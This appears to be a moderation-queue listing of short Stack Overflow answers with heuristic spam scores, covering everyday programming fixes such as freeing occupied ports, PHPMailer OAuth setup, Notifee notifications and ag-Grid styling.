79188175

Date: 2024-11-14 10:05:40
Score: 1.5
Natty:
Report link

For me it's that I was accidentally in the Release configuration.

Switching it to Debug in the top bar fixed my issue.

I was hitting breakpoints in my tests but not in the code under test. The code under test was in a different project in the same solution and the breakpoints didn't work there until the above change.

Reasons:
  • No code block (0.5):
  • Low reputation (1):
Posted by: Armand Bernard

79188159

Date: 2024-11-14 10:02:39
Score: 3
Natty:
Report link

Also check if there is a process autorestarting on port 5000.

Reasons:
  • Low length (1.5):
  • No code block (0.5):
  • Single line (0.5):
  • Low reputation (0.5):
Posted by: bsesic

79188155

Date: 2024-11-14 10:00:38
Score: 2.5
Natty:
Report link

In my case it was disk full, it could also be permissions, but before doing a blind restart. Check that your directory, disk and permissions are OK.

Reasons:
  • Low length (1):
  • No code block (0.5):
  • Single line (0.5):
  • Low reputation (0.5):
Posted by: Enin Kaduk

79188154

Date: 2024-11-14 10:00:38
Score: 0.5
Natty:
Report link

When you set autoCancel: false in Notifee, it ensures the notification does not automatically disappear after the user interacts with it (e.g., taps or opens it).

You've already done this, so it should work for you.

Additionally, you've included the following lines:

fullScreenAction: {
  id: 'default', // Specifies the action ID for full screen
  mainComponent: 'custom-component',
}

This ensures the notification will open in full-screen mode. Your setup seems correct. it will be full screen and it will close only in case where user interact with it. if it doesn't your problem will be somewhere else.

Read the link for official Documentations:

https://notifee.app/react-native/reference/notificationandroid#autocancel

https://notifee.app/react-native/docs/android/behaviour#full-screen

Reasons:
  • Long answer (-0.5):
  • Has code block (-0.5):
  • Starts with a question (0.5): When you
  • Low reputation (1):
Posted by: Izaz Ahmad

79188153

Date: 2024-11-14 10:00:38
Score: 1
Natty:
Report link

for myself, as a non-native english person I "invented" this deciphering:

Incremental Output To Array

in order to be not confused with itoa

Reasons:
  • Low length (1):
  • Has code block (-0.5):
  • Low reputation (0.5):
Posted by: papirosnik

79188150

Date: 2024-11-14 10:00:38
Score: 1
Natty:
Report link

I think your 5000, 3000 port still occupied by the some processor. you can recheck the port numbers are still occupied. i have added some commands to check the ports are still occupied by another process.

1.if you'r using windows you will run this netstat -ano | findstr /I "5000" command in your cmd

2.if you are using linux system you will run this sudo lsof -i:5000 command in your terminal

if the ports are occupied by some processor you can change the port number and run your project otherwise you will kill the processor using pid, after run the project.

i have added the command, how to kill the running processor.

1.LINUX (sudo kill -9 pid(replace the actual pid))

2.LINUX ( kill -9 pid(replace the actual pid))

linux command execution example

windows command execution example

Note: Only kill the process if it is a Node.js process. If it's another service, choose a different port.

Reasons:
  • Long answer (-0.5):
  • No code block (0.5):
  • Low reputation (1):
Posted by: vijay.devcode

79188148

Date: 2024-11-14 10:00:38
Score: 3.5
Natty:
Report link

you can try using a fixed height for both TextField and Dropdown

Reasons:
  • Low length (1.5):
  • No code block (0.5):
  • Single line (0.5):
  • Low reputation (1):
Posted by: AnhNT

79188147

Date: 2024-11-14 09:59:38
Score: 1.5
Natty:
Report link

We were at least two in our company having this problem suddenly, so fixing this issue at server level was needed, instead of changing a setting in VSCode. This solution fixed the server and VSCode is now able to create a new terminal again :

https://github.com/microsoft/vscode-remote-release/issues/4233#issuecomment-815198379

Reasons:
  • Low length (0.5):
  • No code block (0.5):
  • Low reputation (0.5):
Posted by: Gilles Charlier

79188146

Date: 2024-11-14 09:58:37
Score: 1.5
Natty:
Report link

Causes and Solutions:

  1. Weak or Disconnected Internet Connection: Check Your Internet Connection: Ensure that your internet connection is stable. You can open other websites to verify that your internet is working properly.

  2. Proxy or Firewall: If you are behind a proxy or firewall, these settings might prevent npm from connecting to the internet. Check and remove proxy settings if necessary:

  3. Using a VPN: Using a VPN may help you bypass network restrictions.

Reasons:
  • No code block (0.5):
  • Low reputation (1):
Posted by: Qian Moss

79188138

Date: 2024-11-14 09:56:37
Score: 2.5
Natty:
Report link

To prevent duplicate records with the same epoch time in your database, use the epoch time in milliseconds and apply a unique constraint on the relevant column. This will ensure each record has a distinct timestamp, and the database enforces uniqueness.

Reasons:
  • Low length (0.5):
  • No code block (0.5):
  • Single line (0.5):
  • Low reputation (1):
Posted by: Suraj Bhalerao

79188133

Date: 2024-11-14 09:54:36
Score: 3
Natty:
Report link

The problem may be in the styling for the element containing the map div. Try setting a width and height for the map div as either a percentage or fixed value.

Reasons:
  • Low length (1):
  • No code block (0.5):
  • Single line (0.5):
  • Low reputation (1):
Posted by: Tim

79188124

Date: 2024-11-14 09:53:36
Score: 5
Natty:
Report link

i am trying to paste a link to see if it works , it does not have anything related to the question - https://youtu.be/3wCnVvdrqy8?si=9aZg06kxh9yN_LmZ

Reasons:
  • Blacklisted phrase (1): i am trying to
  • Blacklisted phrase (1): youtu.be
  • Low length (1):
  • No code block (0.5):
  • Single line (0.5):
  • Low reputation (1):
Posted by: Luffy

79188121

Date: 2024-11-14 09:52:36
Score: 2
Natty:
Report link

To change the custom namespace update the autoload psr-4 variable in composer.json file. Update all the files wherever the namespace is included. And make sure to run the following command:

composer dump-autoload

I hope this works for your problem.

Reasons:
  • Low length (0.5):
  • No code block (0.5):
  • Low reputation (1):
Posted by: Rhythm Dubey

79188112

Date: 2024-11-14 09:48:35
Score: 2
Natty:
Report link

initialPosition: used when the streaming job starts for the first time, Also determines the initial offset to start reading data.

startingPosition: Used when the streaming job restarts after a failure or manual restart, Also Determines the offset to resume processing from after a restart.

Reasons:
  • Low length (0.5):
  • No code block (0.5):
  • Low reputation (1):
Posted by: Gurunandan Rao

79188110

Date: 2024-11-14 09:48:35
Score: 2
Natty:
Report link

You can check your boot times and sql query exec times with barryvdh/laravel-debugbar.

If your problem in your code you can debug with that. But the problem may also be server-related. First, you can analyze whether it is not code-related and then examine the server separately.

Reasons:
  • Low length (0.5):
  • No code block (0.5):
  • Low reputation (1):
Posted by: Selcuk Mollaibrahimoğlu

79188105

Date: 2024-11-14 09:45:34
Score: 1
Natty:
Report link

In macos, export to path will only temporarily set it. If you want to permanently set it, use sudo vi /etc/paths and add $HOME/.pub-cache/bin to new line

Note: Press i to switch to insert mode. After you set it you should do :wq

Reasons:
  • Low length (0.5):
  • Has code block (-0.5):
  • Low reputation (1):
Posted by: Göktürk

79188098

Date: 2024-11-14 09:43:33
Score: 2
Natty:
Report link

I tested this code, phpmailer make it loop indefinetly.

I use a provider requesting several scopes, put the token in a session, and used a class.

$provider = new TheNetworg\OAuth2\Client\Provider\Azure([
            'clientId'          => 'xyz',
            'clientSecret'      => 'xyz',
            'tenantId' => 'xyz',
            'redirectUri'       => 'http://localhost/myurl',
            'scopes'            => ['openid profile email offline_access https://outlook.office.com/SMTP.Send'],
            'defaultEndPointVersion' => '2.0',
            'accessType' => 'offline'
        ]);

class MyTokenProvider implements OAuthTokenProvider{

public function getOauth64(){
    return base64_encode(
        'user=' .
        $_SESSION['userEmail'].
        "\001auth=Bearer " .
        $_SESSION['token'].
        "\001\001"
    );
}

then

$myOwnOauth = new MyTokenProvider();

$mail->SMTPSecure = PHPMailer::ENCRYPTION_STARTTLS;
$mail->SMTPAuth = true;
$mail->AuthType = 'XOAUTH2';
$mail->setOAuth($myOwnOauth );

etc

phpmailer then loop non stop, microsoft displaying too many requests and after several minutes : SMTP ERROR: AUTH command failed: 535 5.7.3 Authentication unsuccessful I'm able to mail with graph api with the token but can't make it works with phpmailer.

is there something i missed?

Reasons:
  • Long answer (-1):
  • Has code block (-0.5):
  • Ends in question mark (2):
  • Unregistered user (0.5):
  • Low reputation (1):
Posted by: Yann

79188092

Date: 2024-11-14 09:41:33
Score: 3
Natty:
Report link

Go to site settings Lightbox

Disable all except Image Lightbox😎

Reasons:
  • Low length (1.5):
  • No code block (0.5):
  • Low reputation (1):
Posted by: bayas

79188080

Date: 2024-11-14 09:38:32
Score: 2.5
Natty:
Report link

The flutter team has confirmed that as of November 14, 2024, This is a known issue with Flutter (Reported mainly with Samasung)

https://github.com/flutter/flutter/issues/122994

Reasons:
  • Low length (1):
  • No code block (0.5):
  • Self-answer (0.5):
  • Low reputation (0.5):
Posted by: David Somekh

79188079

Date: 2024-11-14 09:38:32
Score: 0.5
Natty:
Report link

Try using cellClassRules instead

columnDefs: [
{
    field: 'car_brand',
    cellClassRules: {
        'pass': params => params.value !== '',
        'fail': params => params.value === '',
    }
 }],

the pass and fail are your css classes.

Reasons:
  • Low length (0.5):
  • Has code block (-0.5):
  • Low reputation (0.5):
Posted by: aries12